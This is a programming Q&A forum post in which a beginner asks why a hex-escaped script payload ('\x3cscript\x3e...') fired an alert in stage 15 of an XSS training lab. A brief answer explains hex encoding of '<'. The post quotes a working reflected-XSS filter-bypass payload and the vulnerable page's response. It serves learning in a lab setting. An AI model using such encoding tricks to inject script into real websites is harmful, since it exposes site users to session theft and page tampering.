Click here to Skip to main content
15,946,342 members
Please Sign up or sign in to vote.
1.00/5 (2 votes)
See more:
I am beginner to xss and solving the lab XSS by Yamagata ( Stage 15)

The lab contains the search box where we have to enter the input .

The code related to it is :

HTML
document.write: <input type="text" name="p1" size="60" value="hogehoge"> 
<input type="submit" value="reflect">
<pre><script>document.write("hogehoge");</script>


What I have tried:

So , I entered the below input :
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e


The response I got is :
HTML
<pre>document.write: 

<input type="text" name="p1" size="60" value="\x3cscript\x3ealert(document.domain);\x3c/script\x3e"> 
<input type="submit" value="reflect">
<hr class=red>
<pre><script>document.write("\x3cscript\x3ealert(document.domain);\x3c/script\x3e");</script>




and I got the alert box which contains document.domain information in UI ?

But why do I get it ?
Does browser renders x3c as < ?
Posted
Updated yesterday
v2
Comments
Dave Kreskowiak 2 days ago    
Quote: the lab XSS by Yamagata ( Stage 15)

You say that like everyone should know what you're talking about. I've never heard of it and have no idea what this "challenge" says or asks.
Dave Kreskowiak 22hrs ago    
And you get a free kick in the ass for being a worthless spammer.

1 solution

So, with a little bit of knowledge that you are looking at Cross Site Scripting (XSS), I did a quick look up in an ASCII table which does have 3c as <. The x at the start of the number indicates that this is a hex number.
 
Share this answer
 

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900